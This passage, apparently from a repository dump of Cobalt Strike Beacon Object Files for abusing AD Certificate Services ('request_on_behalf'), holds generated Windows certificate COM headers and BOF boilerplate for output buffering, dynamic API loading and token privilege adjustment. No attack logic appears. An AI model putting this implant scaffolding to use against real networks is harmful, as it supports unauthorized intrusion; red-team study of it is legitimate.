(This)->lpVtbl -> GetDescription(This,pstrDescription) ) \n\n#define ICertPolicy2_ShutDown(This)\t\\\n    ( (This)->lpVtbl -> ShutDown(This) ) \n\n\n#define ICertPolicy2_GetManageModule(This,ppManageModule)\t\\\n    ( (This)->lpVtbl -> GetManageModule(This,ppManageModule) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPolicy2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certpol_0000_0002 */\n/* [local] */ \n\ntypedef \nenum X509SCEPMessageType\n    {\n        SCEPMessageUnknown\t= -1,\n        SCEPMessageCertResponse\t= 3,\n        SCEPMessagePKCSRequest\t= 19,\n        SCEPMessageGetCertInitial\t= 20,\n        SCEPMessageGetCert\t= 21,\n        SCEPMessageGetCRL\t= 22,\n        SCEPMessageClaimChallengeAnswer\t= 41\n    } \tX509SCEPMessageType;\n\ntypedef \nenum X509SCEPDisposition\n    {\n        SCEPDispositionUnknown\t= -1,\n        SCEPDispositionSuccess\t= 0,\n        SCEPDispositionFailure\t= 2,\n        SCEPDispositionPending\t= 3,\n        SCEPDispositionPendingChallenge\t= 11\n    } \tX509SCEPDisposition;\n\ntypedef \nenum X509SCEPFailInfo\n    {\n        SCEPFailUnknown\t= -1,\n        SCEPFailBadAlgorithm\t= 0,\n        SCEPFailBadMessageCheck\t= 1,\n        SCEPFailBadRequest\t= 2,\n        SCEPFailBadTime\t= 3,\n        SCEPFailBadCertId\t= 4\n    } \tX509SCEPFailInfo;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0002_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0002_v0_0_s_ifspec;\n\n#ifndef __INDESPolicy_INTERFACE_DEFINED__\n#define __INDESPolicy_INTERFACE_DEFINED__\n\n/* interface INDESPolicy */\n/* [local][helpstring][uuid][object] */ \n\n\nEXTERN_C const IID IID_INDESPolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13CA515D-431D-46CC-8C2E-1DA269BBD625\")\n    INDESPolicy : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Uninitialize( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GenerateChallenge( \n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszParams,\n            /* [retval][out] */ PWSTR *ppwszResponse) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VerifyRequest( \n            /* [ref][in] */ CERTTRANSBLOB *pctbRequest,\n            /* [ref][in] */ CERTTRANSBLOB *pctbSigningCertEncoded,\n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [retval][out] */ BOOL *pfVerified) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Notify( \n            /* [ref][in] */ PCWSTR pwszChallenge,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [in] */ X509SCEPDisposition disposition,\n            /* [in] */ LONG lastHResult,\n            /* [ref][in] */ CERTTRANSBLOB *pctbIssuedCertEncoded) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct INDESPolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            INDESPolicy * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            INDESPolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            INDESPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            INDESPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Uninitialize )( \n            INDESPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GenerateChallenge )( \n            INDESPolicy * This,\n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszParams,\n            /* [retval][out] */ PWSTR *ppwszResponse);\n        \n        HRESULT ( STDMETHODCALLTYPE *VerifyRequest )( \n            INDESPolicy * This,\n            /* [ref][in] */ CERTTRANSBLOB *pctbRequest,\n            /* [ref][in] */ CERTTRANSBLOB *pctbSigningCertEncoded,\n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [retval][out] */ BOOL *pfVerified);\n        \n        HRESULT ( STDMETHODCALLTYPE *Notify )( \n            INDESPolicy * This,\n            /* [ref][in] */ PCWSTR pwszChallenge,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [in] */ X509SCEPDisposition disposition,\n            /* [in] */ LONG lastHResult,\n            /* [ref][in] */ CERTTRANSBLOB *pctbIssuedCertEncoded);\n        \n        END_INTERFACE\n    } INDESPolicyVtbl;\n\n    interface INDESPolicy\n    {\n        CONST_VTBL struct INDESPolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define INDESPolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define INDESPolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define INDESPolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define INDESPolicy_Initialize(This)\t\\\n    ( (This)->lpVtbl -> Initialize(This) ) \n\n#define INDESPolicy_Uninitialize(This)\t\\\n    ( (This)->lpVtbl -> Uninitialize(This) ) \n\n#define INDESPolicy_GenerateChallenge(This,pwszTemplate,pwszParams,ppwszResponse)\t\\\n    ( (This)->lpVtbl -> GenerateChallenge(This,pwszTemplate,pwszParams,ppwszResponse) ) \n\n#define INDESPolicy_VerifyRequest(This,pctbRequest,pctbSigningCertEncoded,pwszTemplate,pwszTransactionId,pfVerified)\t\\\n    ( (This)->lpVtbl -> VerifyRequest(This,pctbRequest,pctbSigningCertEncoded,pwszTemplate,pwszTransactionId,pfVerified) ) \n\n#define INDESPolicy_Notify(This,pwszChallenge,pwszTransactionId,disposition,lastHResult,pctbIssuedCertEncoded)\t\\\n    ( (This)->lpVtbl -> Notify(This,pwszChallenge,pwszTransactionId,disposition,lastHResult,pctbIssuedCertEncoded) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __INDESPolicy_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certpol_0000_0003 */\n/* [local] */ \n\n#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */\n#pragma endregion\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0003_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0003_v0_0_s_ifspec;\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request_on_behalf/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n//#pragma GCC diagnostic ignored \"-Wint-conversion\"\n//formatp output = {1}; // this is just done so its we don't go into .bss which isn't handled properly\nchar * output = (char*)1;\nWORD currentoutsize = 1;\nHANDLE trash = (HANDLE)1; // Needed for x64 to not give relocation error\n//#pragma GCC diagnostic pop\n\nint bofstart();\n#ifdef BOF\nvoid internal_printf(const char* format, ...);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\nwchar_t * Utf8ToUtf16(const char * input);\nvoid printoutput(BOOL done);\nvoid bofstop();\n\n#ifdef BOF\nint bofstart()\n{   \n    //output.original=NULL;\n    //handle any global initilization here\n    //BeaconFormatAlloc(&output, bufsize+256);\n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    char* transferBuffer = (char*)intAlloc(bufsize);\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            int transfersize = 0;\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#endif\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\n//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions\n//\n// DynamicLoad\n// Retrieves a function pointer given the BOF library-function name\n// szLibrary           - The library containing the function you want to load\n// szFunction          - The Function that you want to load\n// Returns a FARPROC function pointer if successful, or NULL if lookup fails\n//\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\nwchar_t* Utf8ToUtf16(const char* input)\n{\n    int ret = KERNEL32$MultiByteToWideChar(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0\n    );\n\n    wchar_t* newString = (wchar_t*)intAlloc(sizeof(wchar_t) * ret);\n\n    ret = KERNEL32$MultiByteToWideChar(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        ret\n    );\n\n    if (0 == ret)\n    {\n        //printf(\"Failed to convert UNICODE string from UTF-16 to UTF-8. Last error: %d\\n\", (int)GetLastError());\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n#ifndef BOF\nDWORD SetPrivilege(\n    HANDLE hTokenArg,          // access token handle\n    LPCSTR lpszPrivilege,  // name of privilege to enable/disable\n    BOOL bEnablePrivilege   // to enable or disable privilege\n    ) \n{\n    HANDLE hToken = NULL;\n    TOKEN_PRIVILEGES tp;\n    LUID luid;\n    DWORD dwErrorCode = ERROR_SUCCESS;\n\n    if ( hTokenArg )\n    {\n        hToken = hTokenArg;\n    }\n    else\n    {\n        // Open a handle to the access token for the calling process. That is this running program\n        if( FALSE == ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))    \n        {\n            dwErrorCode = KERNEL32$GetLastError();\n            goto SetPrivilege_end;\n        }\n    }\n    \n\n    if ( FALSE == ADVAPI32$LookupPrivilegeValueA( \n            NULL,            // lookup privilege on local system\n            lpszPrivilege,   // privilege to lookup \n            &luid ) )        // receives LUID of privilege\n    {\n        dwErrorCode = KERNEL32$GetLastError();\n        goto SetPrivilege_end; \n    }\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    if (bEnablePrivilege)\n        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n    else\n        tp.Privileges[0].Attributes = 0;\n\n    // Enable the privilege or disable all privileges.\n\n    if ( FALSE == ADVAPI32$AdjustTokenPrivileges(\n           hToken, \n           FALSE, \n           &tp, \n           sizeof(TOKEN_PRIVILEGES), \n           (PTOKEN_PRIVILEGES) NULL, \n           (PDWORD) NULL) )\n    {\n        dwErrorCode = KERNEL32$GetLastError();\n        goto SetPrivilege_end; \n    } \n\n    // Possibly ERROR_NOT_ALL_ASSIGNED\n    dwErrorCode = KERNEL32$GetLastError();\n\nSetPrivilege_end:\n\n    if ( !hTokenArg )\n    {\n        if ( hToken )\n        {\n            KERNEL32$CloseHandle(hToken);\n            hToken = NULL;\n        }\n    }\n\n    return dwErrorCode;\n}\n#endif\n\n//release any global functions here\nvoid bofstop()\n{\n\n    return;\n}\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request_on_behalf/certenroll.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0622 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certenroll_h__\n#define __certenroll_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __IObjectId_FWD_DEFINED__\n#define __IObjectId_FWD_DEFINED__\ntypedef interface IObjectId IObjectId;\n\n#endif \t/* __IObjectId_FWD_DEFINED__ */\n\n\n#ifndef __IObjectIds_FWD_DEFINED__\n#define __IObjectIds_FWD_DEFINED__\ntypedef interface IObjectIds IObjectIds;\n\n#endif \t/* __IObjectIds_FWD_DEFINED__ */\n\n\n#ifndef __IBinaryConverter_FWD_DEFINED__\n#define __IBinaryConverter_FWD_DEFINED__\ntypedef interface IBinaryConverter IBinaryConverter;\n\n#endif \t/* __IBinaryConverter_FWD_DEFINED__ */\n\n\n#ifndef __IBinaryConverter2_FWD_DEFINED__\n#define __IBinaryConverter2_FWD_DEFINED__\ntypedef interface IBinaryConverter2 IBinaryConverter2;\n\n#endif \t/* __IBinaryConverter2_FWD_DEFINED__ */\n\n\n#ifndef __IX500DistinguishedName_FWD_DEFINED__\n#define __IX500DistinguishedName_FWD_DEFINED__\ntypedef interface IX500DistinguishedName IX500DistinguishedName;\n\n#endif \t/* __IX500DistinguishedName_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentStatus_FWD_DEFINED__\n#define __IX509EnrollmentStatus_FWD_DEFINED__\ntypedef interface IX509EnrollmentStatus IX509EnrollmentStatus;\n\n#endif \t/* __IX509EnrollmentStatus_FWD_DEFINED__ */\n\n\n#ifndef __ICspAlgorithm_FWD_DEFINED__\n#define __ICspAlgorithm_FWD_DEFINED__\ntypedef interface ICspAlgorithm ICspAlgorithm;\n\n#endif \t/* __ICspAlgorithm_FWD_DEFINED__ */\n\n\n#ifndef __ICspAlgorithms_FWD_DEFINED__\n#define __ICspAlgorithms_FWD_DEFINED__\ntypedef interface ICspAlgorithms ICspAlgorithms;\n\n#endif \t/* __ICspAlgorithms_FWD_DEFINED__ */\n\n\n#ifndef __ICspInformation_FWD_DEFINED__\n#define __ICspInformation_FWD_DEFINED__\ntypedef interface ICspInformation ICspInformation;\n\n#endif \t/* __ICspInformation_FWD_DEFINED__ */\n\n\n#ifndef __ICspInformations_FWD_DEFINED__\n#define __ICspInformations_FWD_DEFINED__\ntypedef interface ICspInformations ICspInformations;\n\n#endif \t/* __ICspInformations_FWD_DEFINED__ */\n\n\n#ifndef __ICspStatus_FWD_DEFINED__\n#define __ICspStatus_FWD_DEFINED__\ntypedef interface ICspStatus ICspStatus;\n\n#endif \t/* __ICspStatus_FWD_DEFINED__ */\n\n\n#ifndef __ICspStatuses_FWD_DEFINED__\n#define __ICspStatuses_FWD_DEFINED__\ntypedef interface ICspStatuses ICspStatuses;\n\n#endif \t/* __ICspStatuses_FWD_DEFINED__ */\n\n\n#ifndef __IX509PublicKey_FWD_DEFINED__\n#define __IX509PublicKey_FWD_DEFINED__\ntypedef interface IX509PublicKey IX509PublicKey;\n\n#endif \t/* __IX509PublicKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509PrivateKey_FWD_DEFINED__\n#define __IX509PrivateKey_FWD_DEFINED__\ntypedef interface IX509PrivateKey IX509PrivateKey;\n\n#endif \t/* __IX509PrivateKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509PrivateKey2_FWD_DEFINED__\n#define __IX509PrivateKey2_FWD_DEFINED__\ntypedef interface IX509PrivateKey2 IX509PrivateKey2;\n\n#endif \t/* __IX509PrivateKey2_FWD_DEFINED__ */\n\n\n#ifndef __IX509EndorsementKey_FWD_DEFINED__\n#define __IX509EndorsementKey_FWD_DEFINED__\ntypedef interface IX509EndorsementKey IX509EndorsementKey;\n\n#endif \t/* __IX509EndorsementKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509Extension_FWD_DEFINED__\n#define __IX509Extension_FWD_DEFINED__\ntypedef interface IX509Extension IX509Extension;\n\n#endif \t/* __IX509Extension_FWD_DEFINED__ */\n\n\n#ifndef __IX509Extensions_FWD_DEFINED__\n#define __IX509Extensions_FWD_DEFINED__\ntypedef interface IX509Extensions IX509Extensions;\n\n#endif \t/* __IX509Extensions_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionKeyUsage_FWD_DEFINED__\n#define __IX509ExtensionKeyUsage_FWD_DEFINED__\ntypedef interface IX509ExtensionKeyUsage IX509ExtensionKeyUsage;\n\n#endif \t/* __IX509ExtensionKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n#define __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\ntypedef interface IX509ExtensionEnhancedKeyUsage IX509ExtensionEnhancedKeyUsage;\n\n#endif \t/* __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplateName_FWD_DEFINED__\n#define __IX509ExtensionTemplateName_FWD_DEFINED__\ntypedef interface IX509ExtensionTemplateName IX509ExtensionTemplateName;\n\n#endif \t/* __IX509ExtensionTemplateName_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplate_FWD_DEFINED__\n#define __IX509ExtensionTemplate_FWD_DEFINED__\ntypedef interface IX509ExtensionTemplate IX509ExtensionTemplate;\n\n#endif \t/* __IX509ExtensionTemplate_FWD_DEFINED__ */\n\n\n#ifndef __IAlternativeName_FWD_DEFINED__\n#define __IAlternativeName_FWD_DEFINED__\ntypedef interface IAlternativeName IAlternativeName;\n\n#endif \t/* __IAlternativeName_FWD_DEFINED__ */\n\n\n#ifndef __IAlternativeNames_FWD_DEFINED__\n#define __IAlternativeNames_FWD_DEFINED__\ntypedef interface IAlternativeNames IAlternativeNames;\n\n#endif \t/* __IAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAlternativeNames_FWD_DEFINED__\n#define __IX509ExtensionAlternativeNames_FWD_DEFINED__\ntypedef interface IX509ExtensionAlternativeNames IX509ExtensionAlternativeNames;\n\n#endif \t/* __IX509ExtensionAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionBasicConstraints_FWD_DEFINED__\n#define __IX509ExtensionBasicConstraints_FWD_DEFINED__\ntypedef interface IX509ExtensionBasicConstraints IX509ExtensionBasicConstraints;\n\n#endif \t/* __IX509ExtensionBasicConstraints_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n#define __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\ntypedef interface IX509ExtensionSubjectKeyIdentifier IX509ExtensionSubjectKeyIdentifier;\n\n#endif \t/* __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n#define __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\ntypedef interface IX509ExtensionAuthorityKeyIdentifier IX509ExtensionAuthorityKeyIdentifier;\n\n#endif \t/* __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __ISmimeCapability_FWD_DEFINED__\n#define __ISmimeCapability_FWD_DEFINED__\ntypedef interface ISmimeCapability ISmimeCapability;\n\n#endif \t/* __ISmimeCapability_FWD_DEFINED__ */\n\n\n#ifndef __ISmimeCapabilities_FWD_DEFINED__\n#define __ISmimeCapabilities_FWD_DEFINED__\ntypedef interface ISmimeCapabilities ISmimeCapabilities;\n\n#endif \t/* __ISmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSmimeCapabilities_FWD_DEFINED__\n#define __IX509ExtensionSmimeCapabilities_FWD_DEFINED__\ntypedef interface IX509ExtensionSmimeCapabilities IX509ExtensionSmimeCapabilities;\n\n#endif \t/* __IX509ExtensionSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __IPolicyQualifier_FWD_DEFINED__\n#define __IPolicyQualifier_FWD_DEFINED__\ntypedef interface IPolicyQualifier IPolicyQualifier;\n\n#endif \t/* __IPolicyQualifier_FWD_DEFINED__ */\n\n\n#ifndef __IPolicyQualifiers_FWD_DEFINED__\n#define __IPolicyQualifiers_FWD_DEFINED__\ntypedef interface IPolicyQualifiers IPolicyQualifiers;\n\n#endif \t/* __IPolicyQualifiers_FWD_DEFINED__ */\n\n\n#ifndef __ICertificatePolicy_FWD_DEFINED__\n#define __ICertificatePolicy_FWD_DEFINED__\ntypedef interface ICertificatePolicy ICertificatePolicy;\n\n#endif \t/* __ICertificatePolicy_FWD_DEFINED__ */\n\n\n#ifndef __ICertificatePolicies_FWD_DEFINED__\n#define __ICertificatePolicies_FWD_DEFINED__\ntypedef interface ICertificatePolicies ICertificatePolicies;\n\n#endif \t/* __ICertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionCertificatePolicies_FWD_DEFINED__\n#define __IX509ExtensionCertificatePolicies_FWD_DEFINED__\ntypedef interface IX509ExtensionCertificatePolicies IX509ExtensionCertificatePolicies;\n\n#endif \t/* __IX509ExtensionCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n#define __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__\ntypedef interface IX509ExtensionMSApplicationPolicies IX509ExtensionMSApplicationPolicies;\n\n#endif \t/* __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509Attribute_FWD_DEFINED__\n#define __IX509Attribute_FWD_DEFINED__\ntypedef interface IX509Attribute IX509Attribute;\n\n#endif \t/* __IX509Attribute_FWD_DEFINED__ */\n\n\n#ifndef __IX509Attributes_FWD_DEFINED__\n#define __IX509Attributes_FWD_DEFINED__\ntypedef interface IX509Attributes IX509Attributes;\n\n#endif \t/* __IX509Attributes_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeExtensions_FWD_DEFINED__\n#define __IX509AttributeExtensions_FWD_DEFINED__\ntypedef interface IX509AttributeExtensions IX509AttributeExtensions;\n\n#endif \t/* __IX509AttributeExtensions_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeClientId_FWD_DEFINED__\n#define __IX509AttributeClientId_FWD_DEFINED__\ntypedef interface IX509AttributeClientId IX509AttributeClientId;\n\n#endif \t/* __IX509AttributeClientId_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeRenewalCertificate_FWD_DEFINED__\n#define __IX509AttributeRenewalCertificate_FWD_DEFINED__\ntypedef interface IX509AttributeRenewalCertificate IX509AttributeRenewalCertificate;\n\n#endif \t/* __IX509AttributeRenewalCertificate_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKey_FWD_DEFINED__\n#define __IX509AttributeArchiveKey_FWD_DEFINED__\ntypedef interface IX509AttributeArchiveKey IX509AttributeArchiveKey;\n\n#endif \t/* __IX509AttributeArchiveKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKeyHash_FWD_DEFINED__\n#define __IX509AttributeArchiveKeyHash_FWD_DEFINED__\ntypedef interface IX509AttributeArchiveKeyHash IX509AttributeArchiveKeyHash;\n\n#endif \t/* __IX509AttributeArchiveKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeOSVersion_FWD_DEFINED__\n#define __IX509AttributeOSVersion_FWD_DEFINED__\ntypedef interface IX509AttributeOSVersion IX509AttributeOSVersion;\n\n#endif \t/* __IX509AttributeOSVersion_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeCspProvider_FWD_DEFINED__\n#define __IX509AttributeCspProvider_FWD_DEFINED__\ntypedef interface IX509AttributeCspProvider IX509AttributeCspProvider;\n\n#endif \t/* __IX509AttributeCspProvider_FWD_DEFINED__ */\n\n\n#ifndef __ICryptAttribute_FWD_DEFINED__\n#define __ICryptAttribute_FWD_DEFINED__\ntypedef interface ICryptAttribute ICryptAttribute;\n\n#endif \t/* 